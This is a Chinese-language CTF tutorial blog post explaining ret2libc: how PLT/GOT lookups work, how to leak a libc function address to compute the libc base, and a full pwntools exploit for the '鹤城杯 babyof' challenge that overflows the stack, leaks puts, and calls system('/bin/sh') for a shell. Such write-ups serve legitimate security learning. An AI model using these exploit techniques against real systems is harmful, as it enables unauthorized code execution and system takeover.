pwn知识——ret2libc
这一篇主要记录的就是有关libc泄露了,困扰了我许久的玩意终于有写出来的一天了,不容易啊(哭)
不过理解了之后确实就会觉得好写很多嘞
在写题解之前还是写写libc泄露的原理和流程比较好,毕竟我自己学的时候搜索各种资料、看各种视频,真的都看得头大,一路摸爬滚打属实不易,我也希望能写出一篇能让别的初学者看得懂的原理解析。
一、libc讲解
(1).为什么要libc泄露
答:其一,当然是因为题目没有给啊!比如你想要system()函数,你想要bin/sh,但是给你的附件里边没有,然后想用ROPgadget看看能不能用ret2syscall的方法却也发现合适的pop|ret少之又少或根本就没有给你0x80和0xb。其二,就是开了PIE和RELRO,地址随机化让我们无法直接调用函数。这个时候就需要靠libc泄露地址来进行攻击了
(2).怎样实现libc泄露
要想通过libc进行地址泄露,那么我们就得先认识两个东西,GOT表(Global Offset Table)和PLT表(Procedure Linkage Table)
GOT表(全局偏移表)里存储着被调用函数真正的地址,而PLT表(程序链接表)里则储存着被调用函数的GOT表的地址给个流程图会好理解一些,以system为例,我自己画的可能有些粗略,希望能提供帮助
PLT表和GOT表的调用流程
首次调用
再次调用
如果还看不懂,那我再打个比方。顾客(system)下单,平台(system@plt)接单,平台把单子给骑手(system@got),骑手纳闷:你给我单子有啥用啊,给我外卖让我送啊。告诉平台:“火速备餐!”过了一会儿后,平台把外卖(system的真实地址)给骑手了,骑手把外卖送到顾客手上。这就是首次调用函数时所经历的过程。至于之后多次的调用,可以理解为,平台备餐做多了,刚好有个单子来就可以直接给骑手让骑手去送。生动形象!
所以,我们如果做ret2libc的题目,其核心就是通过plt表和got表,来泄露出函数的真实地址,然后构建基地址
基地址
什么是基地址?
基地址是一个固定的内存地址,你可以把它理解为got表里存储的函数的真实地址,它是一个绝对地址,是内存加载时的起始地址。打个比喻的话,那就是,如果你站在大地上,那么大地就是基地址,地面到你头顶的距离可以称为偏移地址,地面到高楼楼顶也是一个偏移地址,大地是一个基底,你们的存在都在大地之上。说点学pwn的人都知道的,那就是,它在x64的情况下是0x7f开头,在x86的情况下是0xf7开头,别把它和虚拟地址搞混了
为什么需要基地址?
因为基地址是一个基底,我们可以根据基底+偏移量就可以调用任意一个在libc.so文件里的函数,那flag不就犹如探囊取物?
总思路
1.构建第一次payload:栈溢出——泄露libc某一函数真实地址——ret某一可执行函数地址(通常是main,这一步的目的是循环)
2.获取泄露出的真实地址
3.构造基地址,并根据基地址+偏移量来调用特定函数
4.构造第二次(x64)payload:栈溢出——libc中的bin/sh地址——libc中的system函数地址
(x86)payload:栈溢出——libc中的system函数地址——打包的垃圾数据——libc中的bin/sh地址
5.交互获得权限
(3).例题:[2021 鹤城杯]babyof(最基本的ret2libc,没有代码审计和陷阱)
首先checksec
开启了NX保护和Partial RELRO,没法在栈上写代码,地址随机化让我们无法使用ret2txt手段。
再用ROPgadget看看能不能构造gadget链
发现符合要求的少得可怜,没法用ret2syscall
看看IDA代码
没有后门函数,也没有system和bin/sh提供给我们,为今之计,只有ret2libc了
在上边我们已经通过ROPgadget获取了rdi_ret_addr了,再取一个ret地址。至于为什么要ret地址,我们最后讲。
然后现在就是要通过栈溢出来泄露libc地址了,这里我们选择泄露puts函数的地址。不过记住,它是x64系统,参数先存在寄存器上,当参数超过6时,才会在往栈上传参。
所以第一次我们构造的脚本是这样的
from pwn import *
p = remote('node4.anna.nssctf.cn',28947)
elf = ELF("./2021_鹤城杯_babyof")
offset = 0x40 + 0x08
main_addr = 0x000000000040066B
pop_rdi = 0x0000000000400743
ret = 0x0000000000400506
puts_plt = elf.plt['puts'] #puts在plt表中的地址
puts_got = elf.got['puts'] #puts在got表中的地址
payload_first = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #先调用got表告诉plt表我没有puts函数地址,然后再次调用plt表给将puts函数的地址泄露出来,最后跳转回main函数再次执行
p.sendlineafter("overflow?\n",payload_first)
p.recvuntil("I hope you win\n")#第一次函数执行结束
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))#u64是接收字节流,\x7f是64位程序函数地址的默认开头,读取7f往前6字节(在内存中,字节是倒着放的) 然后用ljust来补齐8字节,\x00是填充字符,不会影响数据
到此,我们puts的真实地址就泄露完毕了,接下来就要构建libc_base然后根据偏移量调用在libc.so里的函数,再次构造payload,第二次的攻击如下
from LibcSearcher import LibcSearcher
libc = LibcSearcher("puts", real_puts_addr)
libc_base = real_puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter("overflow?\n",payload_end)
p.interactive()
因为我本人还并不太会使用gdb进行动态调试,根据本地泄露的地址来推测libc.so的版本,所以用的是LibcSearcher库
如果要用动态调试来泄露地址来推测libc.so版本,这里推荐用https://libc.rip/
如果是跟我一样不擅长使用gdb的,还是初学者的,可以用LibcSearcher库。不过这并不是长久之策,LibcSearcher已经很久没有维护过了,有些版本LibcSearcher是搜不到的,要想在pwn上走得更远,动态调试必不可少,可以说既是基础,也是精髓,更是核心!
好了,那现在是总的脚本
from pwn import *
from LibcSearcher import LibcSearcher
p = remote('node4.anna.nssctf.cn',28947)
#p = process("./2021_鹤城杯_babyof")
elf = ELF("./2021_鹤城杯_babyof")
offset = 0x40 + 0x08
main_addr = 0x000000000040066B
ret = 0x0000000000400506
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400743
payload_first = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("overflow?\n",payload_first)
p.recvuntil("I hope you win\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher("puts", real_puts_addr)
libc_base = real_puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter("overflow?\n",payload_end)
p.interactive()
运行脚本即可,但记住即使是LibcSearcher,也要选对对应的libc.so版本,否则即使你脚本代码是对的,也没有办法打通
至于为什么要进行ret空转,是因为ubuntu18及以上在调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,所以需要栈对齐
———————————————————————————————————————————————————————————————————————————————————————————————
感慨:ret2libc对刚开始接触pwn的人来说,确实是很难的,因为新出来的知识点多了很多,并且也有些难度,博主自己都学习了快一周才明白到底是个什么流程,该如何进行攻击。这个真的,得自觉去学习,去搜索资料,去看相关视频。光博主自己在网络上找的都焦头烂额,感觉好多人其实讲的有些晦涩,或简略,让人很难理解,所以我萌生了自己写一篇关于libc泄露的讲解,以我自己理解的方式,尽可能的通俗生动地去讲解。可能有一些地方不太准确,欢迎大家来指正,我会在后续进行修正的